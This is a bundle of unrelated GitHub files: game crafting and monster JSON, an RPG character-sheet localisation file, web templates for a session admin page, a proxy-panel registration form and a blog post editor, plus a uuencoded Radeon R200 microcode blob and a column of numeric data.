"ore": "ingotIron",
"count": 1
},
"input2": {
"ore": "dustCoal",
"count": 4
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 4400
},
{
"input": {
"ore": "dustIron",
"count": 1
},
"input2": {
"ore": "dustCharcoal",
"count": 4
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 4000
},
{
"input": {
"ore": "ingotIron",
"count": 1
},
"input2": {
"ore": "dustCharcoal",
"count": 4
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 4400
},
{
"input": {
"ore": "dustIron",
"count": 1
},
"input2": {
"ore": "fuelCoke",
"count": 1
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 2000
},
{
"input": {
"ore": "ingotIron",
"count": 1
},
"input2": {
"ore": "fuelCoke",
"count": 1
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 2400
}
]
}
|
{
"pile_set_name": "Github"
}
|
{{ template "templates/header" . }}
<div class="row">
<h2>Active GetMessage requests <span class="badge" style="vertical-align: middle">{{ .GetMessageRequests | len }}</span></h2>
<form action="/kill" method="post">
<input type="submit" value="Kill selected sessions">
<table class="table table-striped" data-toggle="table" data-sort-name="id">
<thead>
<tr>
<th></th>
<th data-field="id" data-sortable="true">Session ID</th>
<th data-field="nick" data-sortable="true">Nick</th>
<th data-field="remoteaddr" data-sortable="true">RemoteAddr</th>
<th data-field="started" data-sortable="true">Started</th>
<th data-field="useragent" data-sortable="true">User Agent</th>
</tr>
</thead>
<tbody>
{{ range $key, $val := .GetMessageRequests }}
<tr>
<td style="text-align: center"><input type="checkbox" style="position: static" name="session" value="{{ $val.Session.Id }}"></td>
<td><code>{{ $val.Session.Id | printf "0x%x" }}</code></td>
<td>{{ $val.NickWithFallback }}</td>
{{ if ne $val.TrustedBridge "" }}
<td><span title="{{ $val.RemoteAddr }}">{{ $val.TrustedBridge }}</span> → {{ $val.ForwardedFor }}</td>
{{ else }}
<td><span title="{{ $val.ForwardedFor }} (UNTRUSTED!)">{{ $val.RemoteAddr }}</span></td>
{{ end }}
<td>{{ $val.StartedAndRelative }}</td>
<td>{{ $val.UserAgent }}</td>
</tr>
{{ end }}
</tbody>
</table>
</form>
</div>
{{ template "templates/footer" . }}
|
{
"pile_set_name": "Github"
}
|
{
"personal data":"personal data"
,"name":"name"
,"age":"age"
,"son number":"son number"
,"homeland":"homeland"
,"culture":"culture"
,"religion":"religion"
,"lord":"lord"
,"current class":"current class"
,"current home": "current home"
,"personal traits":"personal traits"
,"chivalry bonus":"chivalry bonus"
,"religious bonus":"religious bonus"
,"chaste":"chaste"
,"lustful":"lustful"
,"energetic":"energetic"
,"lazy":"lazy"
,"forgiving":"forgiving"
,"vengeful":"vengeful"
,"generous":"generous"
,"selfish":"selfish"
,"honest":"honest"
,"deceitful":"deceitful"
,"just":"just"
,"arbitrary":"arbitrary"
,"merciful":"merciful"
,"cruel":"cruel"
,"modest":"modest"
,"proud":"proud"
,"prudent":"prudent"
,"reckless":"reckless"
,"spiritual":"spiritual"
,"wordly":"wordly"
,"temperate":"temperate"
,"indulgent":"indulgent"
,"trusting":"trusting"
,"suspicious":"suspicious"
,"valorous":"valorous"
,"cowardly":"cowardly"
,"directed trait":"directed trait"
,"trait":"trait"
,"Player:":"Player:"
,"personality traits":"personality traits"
,"Chivalry Bonus[*](total=80+)":"Chivalry Bonus[*](total=80+)"
,"Religious Bonus(traits all 16+)":"Religious Bonus(traits all 16+)"
,"(15)":"(15)"
,"passions": "passions"
,"loyalty lord":"loyalty (lord)"
,"love family":"love (family)"
,"hospitality":"hospitality"
,"honor":"honor"
,"passion":"passion"
,"equipment carried":"equipment carried"
,"armor type":"armor type"
,"points": "points"
,"clothing":"clothing"
,"libra value":"libra value"
,"personal gear":"personal gear"
,"travel gear":"travel gear"
,"war gear":"war gear"
,"on horse #":"on horse #"
,"equipment":"equipment"
,"attributes":"attributes"
,"(Knockdown)":"(Knockdown)"
,"size":"size"
,"siz":"siz"
,"dex":"dex"
,"dexterity":"dexterity"
,"str":"str"
,"strength":"strength"
,"(Major Wound)":"(Major Wound)"
,"(+3)":"(+3)"
,"con":"con"
,"constitution":"constitution"
,"appearance":"appearance"
,"app":"app"
,"Damage":"Damage"
,"d6":"d6"
,"damage":"damage"
,"healing rate":"healing rate"
,"movement rate":"movement rate"
,"total hit points":"total hit points"
,"unconcious":"unconcious"
,"distinctive features":"distinctive features"
,"awareness":"awareness"
,"boating":"boating"
,"compose":"compose"
,"courtesy":"courtesy"
,"dancing":"dancing"
,"faerie lore":"faerie lore"
,"falconry":"falconry"
,"first aid":"first aid"
,"flirting":"flirting"
,"folk lore":"folk lore"
,"gaming":"gaming"
,"heraldry":"heraldry"
,"hunting":"hunting"
,"intrigue":"intrigue"
,"orate":"orate"
,"play":"play"
,"read":"read"
,"recognize":"recognize"
,"romance":"romance"
,"singing":"singing"
,"stewardship":"stewardship"
,"swimming":"swimming"
,"tourney":"tourney"
,"skills":"skills"
,"squire":"squire"
,"horsemanship":"horsemanship"
,"battle":"battle"
,"chirurgery needed":"chirurgery needed"
,"current hit points":"current hit points"
,"wounds":"wounds"
,"this game":"this game"
,"glory this game":"glory this game"
,"glory":"glory"
,"skill":"skill"
,"combat skills":"combat skills"
,"glory total":"glory total"
,"weapon skills":"weapon skills"
,"dagger":"dagger"
,"lance":"lance"
,"spear":"spear"
,"sword":"sword"
,"win":"win"
,"losses":"losses"
,"other horses":"other horses"
,"horse type":"horse type"
,"horse damage":"horse damage"
,"horse move":"horse move"
,"horse armor": "horse armor"
,"horse hp":"horse hp"
,"horse con": "horse con"
,"horse siz": "horse siz"
,"horse dex": "horse dex"
,"horse breed":"horse breed"
,"riding(#2)":"riding(#2)"
,"squire(#3)":"squire(#3)"
,"(#4)":"(#4)"
,"move":"move"
,"joust score":"joust score"
,"horses":"horses"
,"best warhorse (#1)":"best warhorse (#1)"
,"type":"type"
,"hp":"hp"
,"armor":"armor"
,"breed":"breed"
,"jouse score":"jouse score"
,"knight":"knight"
,"holdings":"holdings"
,"annual glory rewards":"annual glory rewards"
,"denarii":"denarii"
,"libra":"libra"
,"old knights":"old knights"
,"middle aged knights":"middle aged knights"
,"young knights":"young knights"
,"total family knights":"total family knights"
,"vassal knights":"vassal knights"
,"other lineage men":"other lineage men"
,"levy":"levy"
,"date":"date"
,"important event":"important event"
,"new":"new"
,"new glory":"new glory"
,"total glory":"total glory"
,"event":"event"
,"born":"born"
,"squired":"squired"
,"knighted":"knighted"
,"member of the round table":"member of the round table"
,"landed":"landed"
,"titled":"titled"
,"wed":"wed"
,"died":"died"
,"father name":"father name"
,"class":"class"
,"glory to sons":"glory to sons"
,"family characteristic":"family characteristic"
,"lover":"lover"
,"children":"children"
,"will":"will"
,"traits":"traits"
,"chivalry":"chivalry"
,"equipment at home":"equipment at home"
,"character history":"character history"
,"family history and events":"family history and events"
,"army":"army"
,"coat of arms":"coat of arms"
,"motto":"motto"
,"annual glory rewards traits":"annual glory rewards traits"
,"annual glory rewards chivalry":"annual glory rewards chivalry"
,"annual glory rewards holdings":"annual glory rewards holdings"
,"annual glory rewards passions":"annual glory rewards passions"
,"annual glory rewards religion":"annual glory rewards religion"
,"annual glory rewards total":"annual glory rewards total"
,"enter warhorse damage":"enter warhorse damage"
,"shilling":"shilling"
,"select character sheet knight":"select character sheet knight"
,"select character sheet holdings":"select character sheet holdings"
,"Holdings Character Sheet":"Holdings Character Sheet"
,"horse 2":"horse 2"
,"horse 3":"horse 3"
,"horse 4":"horse 4"
,"personal religion": "personal religion"
,"play name": "play name"
, "read name": "read name"
,"religion name":"religion name"
,"squire name":"squire name"
,"fashion":"fashion"
,"squire age":"squire age"
,"daughter number":"daughter number"
,"Gentle Woman Bonus[*](total=80+)":"Gentle Woman Bonus[*](total=80+)"
,"industry":"industry"
,"servant":"servant"
,"woman's gift":"woman's gift"
,"best horse (#1)":"best horse (#1)"
,"household treasures":"household treasures"
,"spouse":"spouse"
,"woman":"woman"
,"player name": "player name"
,"chirurgery":"chirurgery"
,"character":"character"
,"gear":"gear"
,"personal":"personal"
,"war":"war"
,"travel":"travel"
,"enter personal gear":"enter personal gear"
,"gamemaster":"gamemaster"
,"feast record":"feast record"
,"gamemaster characters":"gamemaster characters"
,"location":"location"
,"above the salt (high table)":"above the salt (high table)"
,"round 5":"round 5"
,"round 1":"round 1"
,"round 2":"round 2"
,"round 3":"round 3"
,"round 4":"round 4"
,"total":"total"
,"seating":"seating"
,"geniality mod.":"geniality mod."
,"accumulated geniality":"accumulated geniality"
,"near the salt (seat of honor)":"near the salt (seat of honor)"
,"notes":"notes"
,"below the salt (normal seating)":"below the salt (normal seating)"
,"on the floor (squires)":"on the floor (squires)"
,"enter name":"enter name"
,"significant gamemaster characters":"significant gamemaster characters"
,"enter glory this game":"enter glory this game"
,"knight's entourage":"knight's entourage"
,"lady's entourage":"lady's entourage"
,"position":"position"
,"cost £":"cost £"
,"value":"value"
,"entourage":"entourage"
,"mod":"mod"
,"loyalty":"loyalty"
,"squire skill":"squire skill"
,"weapon":"weapon"
,"mw":"mw"
,"horse":"horse"
,"weapon 1":"weapon 1"
,"weapon 2": "weapon 2"
,"value 1": "value 1"
,"value 2": "value 2"
,"value 3": "value 3"
,"skill 1":"skill 1"
,"skill 2":"skill 2"
,"skill 3":"skill 3"
,"cost":"cost"
,"modifier": "modifier"
,"dowry":"dowry"
,"love (family)": "love (family)"
,"number of children":"number of children"
,"wife":"wife"
,"lady skill":"lady skill"
,"dower":"dower"
,"maid-in-waiting":"maid-in-waiting"
,"loyalty lady":"loyalty (lady)"
,"hand maiden skill":"hand maiden skill"
,"skill industry":"skill industry"
,"husband":"husband"
,"knight skill":"knight skill"
,"mesnie":"mesnie"
,"improvable skill":"improvable skill"
,"feast":"feast"
,"feast location": "feast location"
,"feast type": "feast type"
,"feast date": "feast date"
,"Success": "Success"
,"Failure": "Failure"
,"Critical": "Critical"
,"Fumble": "Fumble"
,"sheet: character": "sheet: character"
,"sheet: holdings": "sheet: holdings"
,"sheet: entourage": "sheet: entourage"
,"sheet: settings":"sheet: settings"
,"sheet: gamemaster characters": "sheet: gamemaster characters"
,"sheet: feast record" : "sheet: feast record"
,"character sheet type":"character sheet type"
,"feast size": "feast size"
,"enter total glory": "enter total glory"
,"enter date": "enter date"
,"enter event": "enter event"
,"enter new glory":"enter new glory"
,"armor value": "armor value"
,"wife name": "wife name"
,"wife born": "wife born"
,"wife age": "wife age"
,"wife modifier": "wife modifier"
,"wife skill 1": "wife skill 1"
,"wife skill 2": "wife skill 2"
,"wife love": "wife love"
,"wife dower": "wife dower"
,"wife dowry": "wife dowry"
,"wife value 1": "wife value 1"
,"wife value 2": "wife value 2"
,"wife value 3": "wife value 3"
,"npc": "npc"
,"enter player name":"enter player name"
,"description":"description"
,"unconscious":"unconscious"
,"major wound":"major wound"
,"knockdown":"knockdown"
,"hit points":"hit points"
,"glory won":"glory won"
,"abilities":"abilities"
,"skills / passions":"skills / passions"
}
|
{
"pile_set_name": "Github"
}
|
{include file='user/header_info.tpl'}
<main class="content">
<div class="content-header ui-content-header">
<div class="container">
<h1 class="content-heading">节点信息</h1>
</div>
</div>
<div class="container">
<section class="content-inner margin-top-no">
<div class="ui-card-wrap">
<div class="row">
<div class="col-lg-12 col-sm-12">
<div class="card">
<div class="card-main">
<div class="card-inner margin-bottom-no">
<p class="card-heading">注意!</p>
<p>下面为您的 SSH 配置。</p>
</div>
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12">
<div class="card">
<div class="card-main">
<div class="card-inner margin-bottom-no">
<p class="card-heading">配置信息</p>
<p>{$json_show}</p>
</div>
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12">
<div class="card">
<div class="card-main">
<div class="card-inner margin-bottom-no">
<p class="card-heading">配置方法</p>
<p>未完待续</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</main>
{include file='user/footer.tpl'}
|
{
"pile_set_name": "Github"
}
|
{include file='header.tpl'}
<main class="content">
<div class="container">
<div class="row">
<div class="col-lg-4 col-lg-push-4 col-sm-6 col-sm-push-3">
<section class="content-inner">
<div class="card">
<div class="card-main">
<div class="card-header">
<div class="card-inner">
<h1 class="card-heading">和我签订契约,成为魔法少女吧。</h1>
</div>
</div>
<div class="card-inner">
<p class="text-center">
<span class="avatar avatar-inline avatar-lg">
<img alt="Login" src="/theme/material/images/users/avatar-001.jpg">
</span>
</p>
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="name">昵称</label>
<input class="form-control" id="name" type="text">
</div>
</div>
</div>
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="email">邮箱</label>
<input class="form-control" id="email" type="text">
</div>
</div>
</div>
{if $enable_email_verify == 'true'}
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="email_code">邮箱验证码</label>
<input class="form-control" id="email_code" type="text">
<button id="email_verify" class="btn btn-block btn-brand-accent waves-attach waves-light">获取验证码</button>
</div>
</div>
</div>
{/if}
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="passwd">密码</label>
<input class="form-control" id="passwd" type="password">
</div>
</div>
</div>
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="repasswd">重复密码</label>
<input class="form-control" id="repasswd" type="password">
</div>
</div>
</div>
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="imtype">选择您的联络方式</label>
<select class="form-control" id="imtype">
<option></option>
<option value="1">微信</option>
<option value="2">QQ</option>
<option value="3">Google+</option>
<option value="4">Telegram</option>
</select>
</div>
</div>
</div>
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="wechat">在这输入联络方式账号</label>
<input class="form-control" id="wechat" type="text">
</div>
</div>
</div>
{if $enable_invite_code == 'true'}
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<label class="floating-label" for="code">邀请码</label>
<input class="form-control" id="code" type="text" value="{$code}">
</div>
</div>
</div>
{/if}
{if $geetest_html != null}
<div class="form-group form-group-label">
<div class="row">
<div class="col-md-10 col-md-push-1">
<div id="embed-captcha"></div>
</div>
</div>
</div>
{/if}
<div class="form-group">
<div class="row">
<div class="col-md-10 col-md-push-1">
<button id="tos" type="submit" class="btn btn-block btn-brand waves-attach waves-light">注册</button>
</div>
</div>
</div>
<div class="form-group">
<div class="row">
<div class="col-md-10 col-md-push-1">
<p>注册即代表同意<a href="/tos">服务条款</a>,以及保证所录入信息的真实性,如有不实信息会导致账号被删除。</p>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="clearfix">
<p class="margin-no-top pull-left"><a class="btn btn-flat btn-brand waves-attach" href="/auth/login">已经注册?请登录</a></p>
</div>
{include file='dialog.tpl'}
<div aria-hidden="true" class="modal modal-va-middle fade" id="tos_modal" role="dialog" tabindex="-1">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-heading">
<h2 class="modal-title">注册 TOS</h2>
</div>
<div class="modal-inner">
{include file='reg_tos.tpl'}
</div>
<div clUass="modal-footer">
<p class="text-right"><button class="btn btn-flat btn-brand-accent waves-attach waves-effect" data-dismiss="modal" type="button" id="cancel">我不服</button><button class="btn btn-flat btn-brand-accent waves-attach waves-effect" data-dismiss="modal" id="reg" type="button">资慈</button></p>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</div>
</main>
{include file='footer.tpl'}
<script>
$(document).ready(function(){
function register(){
document.getElementById("tos").disabled = true;
$.ajax({
type:"POST",
url:"/auth/register",
dataType:"json",
data:{
email: $("#email").val(),
name: $("#name").val(),
passwd: $("#passwd").val(),
repasswd: $("#repasswd").val(),
wechat: $("#wechat").val(),
imtype: $("#imtype").val(){if $enable_invite_code == 'true'},
code: $("#code").val(){/if}{if $enable_email_verify == 'true'},
emailcode: $("#email_code").val(){/if}{if $geetest_html != null},
geetest_challenge: validate.geetest_challenge,
geetest_validate: validate.geetest_validate,
geetest_seccode: validate.geetest_seccode
{/if}
},
success:function(data){
if(data.ret == 1){
$("#result").modal();
$("#msg").html(data.msg);
window.setTimeout("location.href='/auth/login'", {$config['jump_delay']});
}else{
$("#result").modal();
$("#msg").html(data.msg);
document.getElementById("tos").disabled = false;
{if $geetest_html != null}
captcha.refresh();
{/if}
}
},
error:function(jqXHR){
$("#msg-error").hide(10);
$("#msg-error").show(100);
$("#msg-error-p").html("发生错误:"+jqXHR.status);
document.getElementById("tos").disabled = false;
{if $geetest_html != null}
captcha.refresh();
{/if}
}
});
}
$("html").keydown(function(event){
if(event.keyCode==13){
$("#tos_modal").modal();
}
});
{if $geetest_html != null}
$('div.modal').on('shown.bs.modal', function() {
$("div.gt_slider_knob").hide();
});
$('div.modal').on('hidden.bs.modal', function() {
$("div.gt_slider_knob").show();
});
{/if}
$("#reg").click(function(){
register();
});
$("#tos").click(function(){
{if $geetest_html != null}
if(typeof validate == 'undefined')
{
$("#result").modal();
$("#msg").html("请滑动验证码来完成验证。");
return;
}
if (!validate) {
$("#result").modal();
$("#msg").html("请滑动验证码来完成验证。");
return;
}
{/if}
$("#tos_modal").modal();
});
})
</script>
{if $enable_email_verify == 'true'}
<script>
var wait=60;
function time(o) {
if (wait == 0) {
o.removeAttr("disabled");
o.text("获取验证码");
wait = 60;
} else {
o.attr("disabled","disabled");
o.text("重新发送(" + wait + ")");
wait--;
setTimeout(function() {
time(o)
},
1000)
}
}
$(document).ready(function () {
$("#email_verify").click(function () {
time($("#email_verify"));
$.ajax({
type: "POST",
url: "send",
dataType: "json",
data: {
email: $("#email").val()
},
success: function (data) {
if (data.ret) {
$("#result").modal();
$("#msg").html(data.msg);
} else {
$("#result").modal();
$("#msg").html(data.msg);
}
},
error: function (jqXHR) {
$("#result").modal();
$("#msg").html(data.msg+" 出现了一些错误。");
}
})
})
})
</script>
{/if}
{if $geetest_html != null}
<script>
var handlerEmbed = function (captchaObj) {
// 将验证码加到id为captcha的元素里
captchaObj.onSuccess(function () {
validate = captchaObj.getValidate();
});
captchaObj.appendTo("#embed-captcha");
captcha = captchaObj;
// 更多接口参考:http://www.geetest.com/install/sections/idx-client-sdk.html
};
initGeetest({
gt: "{$geetest_html->gt}",
challenge: "{$geetest_html->challenge}",
product: "embed", // 产品形式,包括:float,embed,popup。注意只对PC版验证码有效
offline: {if $geetest_html->success}0{else}1{/if} // 表示用户后台检测极验服务器是否宕机,与SDK配合,用户一般不需要关注
}, handlerEmbed);
</script>
{/if}
|
{
"pile_set_name": "Github"
}
|
begin 644 R200_cp.bin
M`````"$`<```````(`!P``````0```"_````!````,,`````>FA>70````!=
M756(`````&AED9<`````7:&?>`````!=75U=`````%WN75``````\JRLK```
M``#G7?GI`````+'=#A$`````XJ^OKP```!8`#P```````$4O(RT````$````
M$P```!8`#P```````$4O)RT````6``\``0`````^34HW`````@``=^\````"
M``80`````!H````@````'@``0``````"``80`````!H````@````'@``0```
M```"``80`````!H````@````'@``0``````$````%@````(``X`J`````@0`
M9^`````$````%@````(``'?@`````@`&4``````"```WX0````8$`&?A````
M`@``=^`````"``!WX0````8``'?A`````/____\`````$``````````'\`?P
M`````@`#@"H````&!`!GX`````(``X`L`````@0`)T$````"!``G00````($
M`"=#`````@``=G4````"``!V=@````(``'9W````!@``=G@````"``.`+```
M``($`"=!`````@0`)T$````"!``G0P````(``'9V`````@``=G<````&``!V
M>`````(``X`K`````@0`)G8````"``!V=P````(``X`L`````@0`)T$````"
M!``G0P````8``'9X`````@`#@"P````"!``G00````($`"=!`````@0`)T,`
M```&``!V>````!@````O````&````"\````&`````````!@````W````&```
M`#<````&``````````(!8%```````@`&4``````"``F```````(`!A``````
M!&3`8%$````6``@``````````````````@0`)1T````"``!U@`````(`!G6!
M`````@0`)8`````"``9U@0````0```!:````````4``````"``80``````(`
M`'4.`````@`!D``````4``$09````!(```!D`````@0`)0\````$``!07@``
M``(``'5E`````@``=68````$````90````(!YE6T`````D0!L/`````"`<$0
M\````!@F9G!Q`````@0,)64````8````<0````($`"5D`````@``=68````$
M````:`````@`0!!T`````@`0$``````"``V`_P````@`@`!W`````@`/D```
M```"``X`_P````8`````````&````)0````$````:`````(``'5V`````@`&
M4``````"``"0``````(`!!```````@P`-0X````"``20``````(`!1``````
M`@'GA?@````"`"````````P`8`"'`````@``=6,````A`&!U\`````0@`'!\
M````!```4'P````"``!U=@````(``'5W`````@``=0X````"``!U#P````(`
MH%``````#`!@`(H````A`&!U\`````(``'7X````!````(H````"``IU#@``
M``(`('4/````!`!@`(T````"``!U<`````(``'5Q````!@``=7(````"``!0
M``````(`H%```````@``=6@````"``80``````P```"8`````@`%@``````"
M#&!U8@````0```":````!`!@`)D`````0`!P\0````(``X#Q````'````*<`
M```8``90J0````($`"6[````&``&$*H`````!`!UO`````(``'6[````````
M=;P````&``D```````(`"0``````!@`-@`(````"``!0``````(``'@A````
M````>``````"``!X(0```````'@``````@%F4``````"``H```````(`!G',
M`````@*&\<T````0````MP`````A`'``````'````+X````"``90``````(`
M"@```````@`&$``````"``L```````(X!G``````!``*`+H`````(`!P````
M``(!(````````B`'<``````"`2`````````@`'```````@`&$``````"`2!U
M&P````*`0'4*`````H!`=0L````"`!$```````(``X#Q````'````-$````8
M``80J@````*$0'6]````&``&$*D````"A`!UNP```!@`!A"J`````H1`=;P`
M```$````U`````*`0'6]`````H``=;L````"@$!UO`````(`$(```````@%`
M```````,`&``V````"`@P'``````$@```-H````&`(````````8`@'4=````
M`@``);L````$``!`U`````(``'=<`````@"@4``````"`&80`````"`$8"==
M````````0``````"``!YF0````(`H%```````@!F$``````@!&`IFP``````
M`$```````@'@"#``````(0!P``````(``%```````@`#@%8````"!``EX```
M`````'7A``````````$````"``.`[0`````$`'.4````````````````````
M``````(``'C$`````@``>,4````"``!XQ@````(``'DD`````@``>24````"
M``!Y)@````0```#R`````@``>20````"``!Y)0````(``'DF````!````/D`
7````````````````````````````````
`
end
|
{
"pile_set_name": "Github"
}
|
15
15
15
15
15
15
15
15
0
15
15
15
15
15
15
15
15
15
15
15
15
15
15
0
0
15
0
0
0
0
0
15
15
0
0
15
15
15
15
15
15
15
15
15
0
0
0
0
0
0
0
0
15
0
0
0
15
15
15
15
0
0
0
15
0
0
0
0
0
0
15
15
15
0
0
0
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
15
0
0
0
0
0
15
15
15
15
15
0
0
0
0
0
0
0
0
15
15
0
0
0
0
0
0
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
0
0
15
15
0
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
0
0
15
15
15
15
15
15
15
0
0
0
0
0
0
0
0
0
0
15
0
15
15
15
15
15
15
15
15
15
15
15
0
0
15
15
0
0
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
15
|
{
"pile_set_name": "Github"
}
|
{%- extends 'index.html' -%}
{%- block body -%}
{% if session.get('post-preview') %}
{% set post_title = session['post-preview'].get('title', None) %}
{% set post_preview = session['post-preview'].get('preview', None) %}
{% set post_body = session['post-preview'].get('body', None) %}
{% set post_tags = session['post-preview'].get('tags', None) %}
{% else %}
{% set post_title = '' %}
{% set post_preview = '' %}
{% set post_body = '' %}
{% set post_tags = '' %}
{% endif %}
<div class="post clearfix">
<div class="row">
<div class="col-lg-8">
<div class="page-header">
<h1>New post</h1>
</div>
<div class="content">
{%- with messages = get_flashed_messages(with_categories=True) -%}
{%- if messages -%}
{%- for category, message in messages -%}
<div class="response">
<span class="message {{ category }}">{%- if category == 'success' -%}✔{%- endif -%} {{ message }}</span>
</div>
{%- endfor -%}
{%- endif -%}
{%- endwith -%}
<form id="post-form" role="form" method="post" action="{{ url_for('new_post') }}">
<div class="form-group {% if error and error_type == 'validate' %} has-error{% endif %}">
{%- if error and error_type == 'validate' -%}
<label class="control-label" for="post-title">Required field</label>
{%- endif -%}
<input type="text" class="form-control" name="post-title" id="post-title" placeholder="Post Title" value="{{ post_title | safe }}" required>
</div>
<div class="form-group">
<textarea id="post-short" name="post-short" class="form-control" rows="3" placeholder="Short Text">{{ post_preview | safe }}</textarea>
</div>
<div class="form-group {% if error and error_type == 'validate' %} has-error{% endif %}">
{%- if error and error_type == 'validate' -%}
<label class="control-label" for="post-full">Required field</label>
{%- endif -%}
<textarea id="post-full" name="post-full" class="form-control" rows="6" placeholder="Full Text" required>{{ post_body | safe }}</textarea>
</div>
<div class="form-group">
<label for="post-tags">Tags</label>
<input type="text" name="post-tags" class="form-control" id="post-tags" placeholder="Comma separated" value="{{ ','.join(post_tags) }}">
</div>
<div class="form-group">
<input type="hidden" name="post-preview" id="preview">
<input name="_csrf_token" type="hidden" value="{{ csrf_token() }}">
<input id="post-submit" type="submit" class="btn btn-primary" value="Submit">
<input id="post-preview" type="submit" class="btn" value="Preview">
</div>
</form>
</div>
</div>
</div>
</div>
{%- endblock -%}
{%- block scripts -%}
<script src="//codeorigin.jquery.com/jquery-2.0.3.min.js"></script>
<script src="//netdna.bootstrapcdn.com/bootstrap/3.0.0/js/bootstrap.min.js"></script>
<script src="{{ url_for('static', filename='js/a-tools.js') }}"></script>
<script src="{{ url_for('static', filename='js/showdown.js') }}"></script>
<script src="{{ url_for('static', filename='js/mdmagick.js') }}"></script>
<script src="{{ url_for('static', filename='js/main.js') }}"></script>
{%- endblock -%}
|
{
"pile_set_name": "Github"
}
|
{
"type": "magmamicroslimespawned",
"shortdescription": "Ecto Slime",
"description": "It's all sticky and warm...ew.",
"categories": ["magmamicroslime"],
"parts": ["body"],
"animation": "magmamicroslime.animation",
"dropPools": [],
"baseParameters": {
"scripts": [
"/monsters/monster.lua",
"/monsters/fu_monsterPercentRegen.lua"
],
"fuMonsterRegenPercent": -15,
"fuMonsterRegenUseSeconds":true,
"behavior": "monster",
"behaviorConfig": {
"damageOnTouch": true,
"targetQueryRange": 20,
"targetOnDamage": true,
"keepTargetInSight": true,
"keepTargetInRange": 50,
"targetOutOfSightTime": 5.0,
"foundTargetActions": [{
"name": "action-aggrohop"
}],
"hostileActions": [{
"name": "action-hop",
"cooldown": 0.0,
"parameters": {
"verticalSpeed": 20,
"horizontalSpeed": 10,
"hopSequence": 1,
"timeBetweenHops": 0.0,
"windupTime": 0.1,
"landTime": 0.1,
"hopAwayFromWall": false,
"wallVerticalSpeed": 35
}
}],
"periodicActions": [{
"name": "action-hop",
"cooldown": 0.0,
"parameters": {
"verticalSpeed": 25,
"horizontalSpeed": 10,
"hopSequence": 3,
"timeBetweenHops": 0.25,
"hopAwayFromWall": true
}
}],
"concurrentHostileActions": [{
"name": "action-statuseffect",
"cooldown": 5,
"parameters": {
"effect": "nova",
"duration": 5
}
}],
"followActions": [{
"name": "approach-teleport",
"parameters": {}
},
{
"name": "action-hop",
"cooldown": 0.0,
"parameters": {
"verticalSpeed": 20,
"horizontalSpeed": 10,
"hopSequence": 1,
"timeBetweenHops": 0.0,
"windupTime": 0.1,
"landTime": 0.1,
"hopAwayFromWall": false,
"wallVerticalSpeed": 35
}
}
]
},
"touchDamage": {
"poly": [
[-0.6875, -0.375],
[-0.4375, -0.625],
[0.4375, -0.625],
[0.6875, -0.375],
[0.6875, 0.25],
[0.4375, 0.5],
[-0.4375, 0.5],
[-0.6875, 0.25]
],
"damage": 4,
"teamType": "enemy",
"damageSourceKind": "lash",
"knockback": 20,
"statusEffects": ["burning"]
},
"metaBoundBox": [-4, -4, 4, 4],
"scale": 1.0,
"movementSettings": {
"collisionPoly": [
[-0.6875, -0.375],
[-0.4375, -0.625],
[0.4375, -0.625],
[0.6875, -0.375],
[0.6875, 0.25],
[0.4375, 0.5],
[-0.4375, 0.5],
[-0.6875, 0.25]
],
"mass": 1.0,
"walkSpeed": 5,
"runSpeed": 5,
"jumpSpeed": 5
},
"bodyMaterialKind": "organic",
"knockoutTime": 0.3,
"knockoutAnimationStates": {
"damage": "stunned"
},
"deathParticles": "deathPoof",
"knockoutEffect": "",
"statusSettings": {
"statusProperties": {
"targetMaterialKind": "organic"
},
"appliesEnvironmentStatusEffects": false,
"appliesWeatherStatusEffects": true,
"minimumLiquidStatusEffectPercentage": 0.1,
"primaryScriptSources": [
"/stats/monster_primary.lua"
],
"primaryScriptDelta": 5,
"stats": {
"grit": {
"baseValue": 1.0
},
"maxHealth": {
"baseValue": 4
},
"protection": {
"baseValue": 0.2
},
"healthRegen": {
"baseValue": 0.0
},
"poisonStatusImmunity": {
"baseValue": 1.0
},
"slimestickImmunity": {
"baseValue": 1.0
},
"slimeImmunity": {
"baseValue": 1.0
},
"blacktarImmunity": {
"baseValue": 1.0
},
"lavaImmunity": {
"baseValue": 1.0
},
"tarImmunity": {
"baseValue": 1.0
},
"powerMultiplier": {
"baseValue": 1.0
}
},
"resources": {
"stunned": {
"deltaValue": -1.0,
"initialValue": 0.0
},
